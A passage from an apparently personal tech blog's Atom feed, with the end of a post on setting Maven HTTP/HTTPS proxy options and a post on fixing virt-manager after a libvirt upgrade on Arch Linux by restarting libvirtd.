&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;MAVEN_OPTS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;span class="s2"&gt;  &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;MAVEN_OPTS&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;
&lt;span class="s2"&gt;  -Dhttp.proxyHost=proxy&lt;/span&gt;
&lt;span class="s2"&gt;  -Dhttp.proxyPort=8899&lt;/span&gt;
&lt;span class="s2"&gt;  -Dhttps.proxyHost=proxy&lt;/span&gt;
&lt;span class="s2"&gt;  -Dhttps.proxyPort=8899&lt;/span&gt;
&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;That took me a while to figure out, have been doing all sorts of
somersaults over and under this 🤸‍♂️&lt;/p&gt;</content><category term="java"/><category term="java"/><category term="maven"/><category term="http"/></entry><entry><title>virt-manager stopped working after upgrade</title><link href="https://skybert.net/linux/virt-manager-stopped-working-after-upgrade" rel="alternate"/><published>2022-04-05T00:00:00+02:00</published><updated>2022-04-05T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2022-04-05:/linux/virt-manager-stopped-working-after-upgrade</id><summary type="html">&lt;p&gt;Today, &lt;code&gt;virt-manager&lt;/code&gt; refused to start any VM:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Error starting domain: internal error: Failed to load module

&amp;#39;/usr/lib/libvirt/storage-file/libvirt_storage_file_fs.so&amp;#39;:
/usr/lib/libvirt.so.0: version `LIBVIRT_PRIVATE_8.2.0&amp;#39;

not found (required by
/usr/lib/libvirt/storage-file/libvirt_storage_file_fs.so)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It turned out it was because &lt;code&gt;libvirt&lt;/code&gt; was upgraded …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today, &lt;code&gt;virt-manager&lt;/code&gt; refused to start any VM:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Error starting domain: internal error: Failed to load module

&amp;#39;/usr/lib/libvirt/storage-file/libvirt_storage_file_fs.so&amp;#39;:
/usr/lib/libvirt.so.0: version `LIBVIRT_PRIVATE_8.2.0&amp;#39;

not found (required by
/usr/lib/libvirt/storage-file/libvirt_storage_file_fs.so)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It turned out it was because &lt;code&gt;libvirt&lt;/code&gt; was upgraded and it didn't restart its deamon:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ grep -w libvirt /var/log/pacman.log
[2022-04-04T09:37:24+0200] [ALPM] upgraded libvirt (1:8.1.0-4 -&amp;gt; 1:8.2.0-3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To fix this, I just restarted &lt;code&gt;libvirtd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl restart libvirtd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With that, &lt;code&gt;virt-manager&lt;/code&gt; could start my VMs again 🎉&lt;/p&gt;</content><category term="linux"/><category term="arch"/><category term="linux"/></entry></feed>